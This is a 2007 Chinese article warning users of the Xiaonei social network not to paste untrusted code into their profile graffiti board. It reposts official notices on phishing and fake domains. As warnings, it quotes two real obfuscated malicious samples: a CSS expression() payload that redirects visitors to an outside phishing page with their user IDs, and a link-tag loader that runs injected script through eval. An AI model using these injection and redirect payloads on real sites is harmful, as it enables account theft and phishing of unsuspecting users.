不要随意修改自己的校内网涂鸦板代码！校内网诈骗信息！-css代码站

本类热门文章

相关下载

·[图文]不要随意修改自己的校内网涂鸦板代码！校内网...

不要随意修改自己的校内网涂鸦板代码！校内网诈骗信息！

作者：佚名来源：不详发布时间：2007-10-14 0:21:47

校内网涂鸦板的代码不要随便加呀！欺骗信息！
下面一则消息是校内官网发出来的消息，查看地址是http://xiaonei.com/getsysupdateinfo.do

怎样识别诈骗信息
白云龙发布于2007-04-26 14:31

最近不少恶意用户利用涂鸦版的漏洞或发布连接，引导用户进入他们制作的和校内网一摸一样的页面来骗取我们的帐号或诈骗财物。
下面我们来做一下分析怎样防止上当受骗
诈骗手段：
1、利用涂鸦版的漏洞发布恶意代码，访问存在恶意代码用户的主页就会跳转到和校内一样的登陆页让你输入账号重新登陆
2、在留言/群中发布中将信息或抽奖活动，诈骗我们的财物

对于第一种手段我们已经采取了过滤措施，恶意信息已经作了屏蔽，但是第二种方式我们防不胜防。那我们如何辨别信息的真实性呢？
辨别真伪：
首先我们要了解一下以下概念
1、首先我们需要了解什么是域名。 http://www.officeweb.com.cn/boss/files/a_07.htm ;这篇文章中的 1 2 4 已经详细的描述清楚了。
2、地址栏这个应该都知道就是我们输入网站地址（连接）的地方。

以上的概念理解后，我想大家都知道我们校内网的域名是 xiaonei.com 。访问我们的网站你可以看到在你们的地址栏中的连接地址都是含有 xiaonei.com这个域名的。
比如这个连接 http://xiaonein.3355.cn/ ;（一个诈骗活动）他的域名是 3355.cn 这个就不是xiaonei的域名 ,blog.xiaonei.com 就是校内的域名为什么呢？
这里有个2级域名的概念二级域名是一级域名的子域名在校内 xiaonei.com 是以及域名就是我们通常说的校内的域名 .
大家如果理解了这个当你看到让你输入的帐号页面或活动页面你看看地址栏中的连接是否以 http://xxx.xiaonei.com/ ;开始
其中 “xxx” 是可被替换的字符。不知道述清楚了没有，希望它对大家有益。

涂鸦版的问题
白云龙发布于2007-04-13 10:07

最近不少恶意用户利用网站的漏洞盗取私人帐号，给我们的用户带来不少的麻烦，给网站带来了负面的影响。
作恶用户的手段主要有以下几种
1、eval 声明javascript
2、样式表的 expression 属性声明javascript
3、利用样式表的漏洞在样式中引入javascript 通过本地脚本配合
有不少的用户是通过引用 css 样式表来美化个人空间的，昨天最 link标签作了过滤，影响了不少的用户，但是为了更多用户的安全，我们必须这样作，所以建议大家在美化个人空间的时候尽量引用站内的样式或者将样式写入涂鸦版中。我们近期也会对涂鸦版中站内引用/站外引用作文件过滤消除这样的隐患，同时我们也会纪录下试图引用恶意代码的用户id，以便对他们进行处罚，营造一个更好的校内网

比较典型的几段恶意代码

1、(expression漏洞)

<a href="http://www.zidou.com" target="_blank"><img src="http://img.zidou.com/img/zidou.gif" alt="美化页面如此简单" /></a><body background=""bgproperties="fixed"><bgsound src="http://hd9.15150.com/music1/2006_9_20/3120205_214715_16198.wma"><!--Devil's Bones! 06194691-w><!><div style="a:exp ression(if(loca\tion.href.indexOf('bones')==-1 && document.cookie.indexOf('bones=') == -1) loca\tion.href('http://home.goo'+'far.com/xianei/Error.asp?from='+parent.loca\tion.href.substring(parent.loca\tion.href.indexOf('id')+3).replace(/[^0-9]/g, '')+'&id='+document.getElementById('mymenu').innerHTML.substring(document.getElementById('mymenu').innerHTML.indexOf('http://xiaonei.com/getuser.do?id=') + 33, document.getElementById('mymenu').innerHTML.indexOf('我的页面')).replace(/[^0-9]/g, '')))"><DIV STYLE="s:ex\pression(if(document.cookie.indexOf('bones=') == -1) document.cookie='bones=z1;expires='+new Date(new Date().getTime()+10000).toGMTString())">

2、(link 漏洞)
<link
href="http://fm032.img.xiaonei.com/tribe/20070324/0340/A8956163GE.mp3"
rel="stylesheet" type="text/css" media="all" />
<div class=jscode>
codeJSUrl="http://fm022.img.xiaonei.com/tribe/20070325/1150/A4771284GE.mp3";
codeCSSUrl="http://source.xiaonei.com/tribe/20070118/1130/orig3213710.css";
var s2 = document.creat eElement("scr"+"ipt");
s2.src=codeJSUrl;
document.body.insert AdjacentE lement("BeforeBegin",s2);
</div>

http://fm032.img.xiaonei.com/tribe/20070324/0340/A8956163GE.mp3 css文件
内容：
.jscode{
display:none;
background:expression((this.innerHTML!="")?((eval(this.innerHTML+"this.innerHTML=''")==null)?"#aaa":"#123"):"#a00"
);
}

上面的代码都是恶意代码，现在有很多人都用css调用，美化页面，其实99%的人都看不懂代码是什么意思，其实有些代码不显示，却被有恶意的人利用，他们利用这些恶意代码盗取他人帐户信息。网络是个无底洞，这只是一小部分，我们应该认清网络，不要被他误导。不仅是校内，在其他地方也要保护好自己的帐户信息。其实校内网涂鸦板的代码不一定要做的很好，页面做的很漂亮。我就很少做校内的代码，一是看不懂，二是简单的页面其实就很漂亮。我也加过一些代码在涂鸦板上，但都是自己写的，从来没有直接用别人发出来的代码，也都是些简单的代码。现在校内把link标签过滤了。之前很多代码也都不能用，其实是校内打马虎眼，更大一部分是为了他自己的利益，这个在这就不多说了。现在出了个校内网--活动官网http://xiaonein.3355.cn这的确是一个欺骗活动，就是校内不指出来一般人也能看出来，校内有活动不可能连域名也改掉。

人怕出名猪怕肥，校内现在火了（连sohu都跟着效仿``鄙视下~`），但用校内的人都是年轻人，恶意用户就是利用我们不熟悉网页制作或代码的问题作案的。
我写这些只是自己一点感慨，借此希望一些同学不要为了美化校内网的页面，过度修改校内网涂鸦板的内容，特别是对一些复杂的代码。不要轻易修改，校内网也该出些力量解决同学们不懂代码的问题。要不然效果还是会不明显滴
当然啦，要是校内网官网搜集整理代码，同学们只用官网的代码当然是最好不过了

[] [返回上一页] [打印]

文章评论 （评论内容只代表网友观点，与本站立场无关！）